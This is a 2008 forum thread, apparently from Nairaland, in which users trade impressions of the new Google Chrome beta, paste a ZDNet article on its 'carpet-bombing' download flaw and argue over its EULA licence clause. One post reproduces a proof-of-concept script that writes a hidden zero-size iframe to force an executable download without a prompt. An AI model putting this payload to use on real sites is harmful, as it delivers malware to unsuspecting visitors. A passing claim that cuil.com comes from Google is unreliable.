This war or competition is just good for us in short run. In the long run, I don't know the fall-outs. Now I have an alternative to my IE that is not allowing me to print off stuff on my Vista 32bit. I think I love the feel of the Chrome. I believe someone gives someone good run for his money. www.cuil.com is a good search engine from google and gmail is a good mailbox from google. But why requesting the internet to install and I realized this is a beta version.This is a good thingy as I said for now!

Google Chrome vulnerable to carpet-bombing flaw by Ryan Naraine


http://blogs.zdnet.com/security/?p=1843&tag=nl.e539

Google’s shiny new Web browser is vulnerable to a carpet-bombing vulnerability that could expose Windows users to malicious hacker attacks.

Just hours after the release of Google Chrome, researcher Aviv Raff discovered that he could combine two vulnerabilities — a flaw in Apple Safari (WebKit) and a Java bug discussed at this year’s Black Hat conference — to trick users into launching executables direct from the new browser.

Raff has cooked up a harmless demo of the attack in action, showing how a Google Chrome users can be lured into downloading and launching a JAR (Java Archive) file that gets executed without warning.


[ SEE: Google Chrome, the security tidbits ]


In the proof-of-concept, Raff’s code shows how a malicious hacker can use a clever social engineering lure — it requires two mouse clicks — to plant malware on Windows desktops.

The Google Chrome user-agent shows that Chrome is actually WebKit 525.13 (Safari 3.1), which is an outdated/vulnerable version of that browser.

Apple patched the carpet-bombing issue with Safari v3.1.2.


Some Google Chrome early adopters using Windows Vista are reporting that files downloaded from the Internet are automatically dropped on the desktop, setting up a scenario where a combo-attack using this unpatched IE flaw could be used in attacks.

Ryan Naraine is a journalist and social media enthusiast specializing in Internet and computer security issues. He is currently security evangelist at Kaspersky Lab, an anti-malware company with operations around the world.

im on chrome now, i must confess there's no much difference btw it and firefox, i guess i'll who wins wit time.

the last time i checked, IE 8 has got the restore session thing. !!

You might wanna have a look in google.

Inze has spoken

I have finally concluded that Firefox is the best.

Even this chrome cannot compete with Firefox 2 let alone 3. Google developers need to get to work on that security aspect of this browser, it still has some holes but not as bad as IE's.

It will compete with Opera Browser, if the DEV teams can get more add-ons for users who crave them.


Unfortunately, I will not be part of the people that will experience the rebirth of this browser.

I love it.,.,.its really cool.
thou for designers, it might be a bad idea because i checkd some pages and they were pretty messed up.
but i bliv with time, they'll catch up with mozilla

nazzyon:

I have finally concluded that Firefox is the best.

Even this chrome cannot compete with Firefox 2 let alone 3. Google developers need to get to work on that security aspect of this browser, it still has some holes but not as bad as IE's.

It will compete with Opera Browser, if the DEV teams can get more add-ons for users who crave them.


Unfortunately, I will not be part of the people that will experience the rebirth of this browser.

dont underestimate google.
those guys hav insane developers.,.,.u'll see urself wat dis browser will look lyk in 8 months.
i installed google web accelarator. u shuld see how it works urself.
i bliv in those guys.,.,.its only microsoft dat i hav personal bef wif, lol,

love safari too.,.,.its my 2nd favourite browser

u guys need to see this.,.,.just came across it.
its a comic by Scott McCloud(1 of google graphics person)
giv me a min let me figure how to post it here

[img]http://zee.com.br/files/google-chrome.png[/img]
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[img]http://zee.com.br/files/tc_chrome.jpg[/img]
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[img]http://zee.com.br/files/tc_chrome1.jpg[/img]
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[img]http://zee.com.br/files/175138-chrome.jpg[/img]
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[img]http://zee.com.br/files/chromepage.jpg[/img]
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[img]http://zee.com.br/files/chromepresscall1.jpg[/img]
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[img]http://zee.com.br/files/google%20browser2.jpg[/img]
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[img]http://zee.com.br/files/chromegoogle2.jpg[/img]
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[img]http://zee.com.br/files/342.png[/img]
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[img]http://zee.com.br/files/01-google_chrome04.gif[/img]
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I'm currently using it and it feels good

ok xheggs, you've beaten me on the chrome buzz.

ok i prefer portables, i was going to make a portable of this using thinstall but some dude already did. Download complete and its about 13 meg. i'm freaking out, i just pray its not as good as i think it is, cant leave my dear ol' firefox broken hearted. i'm off to try it.

zoooooooooooom

oh wait, heaven knows i'm not goinno be putting the chrome into consideration wen building for the web, IE is enough headache.

i'm on it now. . .
ahhh. . . firefox still remains my darl (what a relief, after all the hype, tsheew  )

wit the chrome thingy a new process is created per tab u open    (or maybe cUz am using the portable).
its fast
its cool
its wow, but
its not firefox 
and would never be like it 
nice try goooofgle 


zooooomz off to firefox making the first and last post with CRackHOME

Dual Core:

oh wait, heaven knows i'm not goinno be putting the chrome into consideration when building for the web, IE is enough headache.

LOL. It took a lotta courage for me view own blog in it. Sadly, it's odd that it's painful _{(after making it valid in IE6, IE7 and FF prior to chrome)}  

@Dual Core you no try at all. LOL

Google Chrome? Well, it think its being over-hyped. Im currently using it on my system in addition to IE and im sad to say that i find IE faster. The browser, GC, is neat though. With improvements which are sure to come up, i think the application would be better.

Doyin O:

Google Chrome? Well, it think its being over-hyped. I'm currently using it on my system in addition to IE and im sad to say that i find IE faster. The browser, GC, is neat though. With improvements which are sure to come up, i think the application would be better.

@Doyin
do u work for microsoft??

some guys said earlier that they prefer Opera to Firefox cuz of speedials.,.,.i'll show u d power of my fully pimped Firefox.
d 1st image is the normal Ctrl+T or click on new tab
d second image is when u click on where the red arrow is pointing
d 3rd image is Ctrl+Tab: speed & easy navigation
there r many more: i can refresh, back, forward, stop and navigate a non active tab without clicking on it: when i move d mouse ovr, i get a resized image of the tab. and many more

all this stuffs r plugins made by users. and since Chrome its open source too.,.,.,.i xpect to see more of stuffs lyk dat
honor suld be given to whom its due.

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Tested and Trusted. I had downloaded it and I must say this is the best browser anyone can use. I encourage you to get it.

Google Chrome vuln

Google Chrome vulnerable, so chrome users b careful, Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically downloaded to the user's computer without any user prompt. This proof-of-concept was created for educational purposes only. Use the code it at your own risk. The author will not be responsible for any damages. Tested on Windows Vista SP1and Windows XP SP3 with Google Chrome (BETA). Ref milw0rm<dot>com ************************************************************************** <script> document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">'); </script>

Before we all start getting hard-ons with the chrome browser you might want to spend some time to Read the Licensing Agreement which You must have Blindly Clicked yes to





Here's the relevant section 11.1 of the Chrome EULA:  End User Agreement

   11. Content licence from you

   11.1 You retain copyright and any other rights that you already hold in Content that you submit, post or display on or through the Services. By submitting, posting or displaying the content, you give Google a perpetual, irrevocable, worldwide, royalty-free and non-exclusive licence to reproduce, adapt, modify, translate, publish, publicly perform, publicly display and distribute any Content that you submit, post or display on or through the Services. This licence is for the sole purpose of enabling Google to display, distribute and promote the Services and may be revoked for certain Services as defined in the Additional Terms of those Services.

Image of HAL eye from 2001 movie with Chrome logo in eye

Granting Google 'a perpetual, irrevocable, worldwide, royalty-free and non-exclusive licence to reproduce, adapt, modify, translate, publish, publicly perform, publicly display and distribute any Content that you submit, post or display on or through' Chrome is coming it rich.

Suppose Google does this to material you have posted that's not yours? No problem. It has a get-out-of-jail card signed by you in section 11.4 of the EULA:

   11.4 You confirm and warrant to Google that you have all the rights, power and authority necessary to grant the above licence.

But you may be posting material via Chrome to your employer's site and it owns the copyright of anything you create in work time. What then if Google adapts, modifies and distributes it? Your fan has brown stuff all over it but none of it sticks to Google.

until the Licensing issues are sorted out ,  and my contentand copy right are not stampled on That browser is not going to touch my hard drive

@bigrovar: are you sure other OS don't also have the same conditions in their licensing agreements?

Nairaland's EULA

You agree with the webmaster, Oluwaseun Osewa, that:
1) The Nairaland Forum is owned by me, and me alone.

2) You will obey all the rules of this forum at all times.

3) Your posts may be deleted or modified at any time at my discretion.

4) Your membership may be revoked at any time, at my discretion.

5) You will obey all the rules of this forum at all times.

Google's EULA

You retain copyright and any other rights that you already hold in Content that you submit, post or display on or through the Services. By submitting, posting or displaying the content, you give Google a perpetual, irrevocable, worldwide, royalty-free and non-exclusive licence to reproduce, adapt, modify, translate, publish, publicly perform, publicly display and distribute any Content that you submit, post or display on or through the Services. This licence is for the sole purpose of enabling Google to display, distribute and promote the Services and may be revoked for certain Services as defined in the Additional Terms of those Services.

Say NO to google
Say NO to

tpia:

@bigrovar: are you sure other OS don't also have the same conditions in their licensing agreements?

at least Firefox,Konqueror , amd seamonkey don't have that type of licensing ,  but i can't speak for all browsers ,  only for what i use ,  and that is beside the point ,  if a license tries to rip u off your hard earn intellectual property ,  its bad ,  its very bad ,  especially for those of us who blog or have display our music or art work online,

You agree with the webmaster, Oluwaseun Osewa, that:
1) The Nairaland Forum is owned by me, and me alone.

2) You will obey all the rules of this forum at all times.

3) Your posts may be deleted or modified at any time at my discretion.

4) Your membership may be revoked at any time, at my discretion.

5) You will obey all the rules of this forum at all times.

nothing wrong with the above , at least it doesnt say it has exclusive right to your content , its just there to make sure that decency is followed

Careful.

I like the browser, but I dont think it is Firefox (or even IE killer). At least, not yet. I did some mini view on my blog.
http://9jasite.com/2008/09/02/google-chrome-my-first-impression/

Despite the tab isolation, Flash crashed across all tabs.
http://9jasite.com/2008/09/03/my-first-google-chrome-crash-shockwave/

A simple link crashed the whole browser.
http://9jasite.com/2008/09/04/chrome-too-weak-to-fight-evil/

I am currently using it, in fact its what I am using to type this, and it seems ok. Only prob is that when I am looking at albums on facebook and I want to move forward, it flickers to the next picture and returns to the former one, but it seems very good so far, IE is definitely at the bottom of the browser ladder, chrome even has the google search functionality built in the address bar, nice so far,

bigrovar:


nothing wrong with the above , at least it doesnt say it has exclusive right to your content , its just there to make sure that decency is followed

na man, just kidding. . . lol.

wavemasta:

I am currently using it, in fact its what I am using to type this, and it seems ok. Only prob is that when I am looking at albums on facebook and I want to move forward, it flickers to the next picture and returns to the former one, but it seems very good so far, IE is definitely at the bottom of the browser ladder, chrome even has the google search functionality built in the address bar, nice so far,

Chrome just beat IE's record for the bottom-of-the-ladder award.

I've tried it out, but not convincing enough for me to switch from Firefox. Even more so after reading the info pointed out above by bigrovar.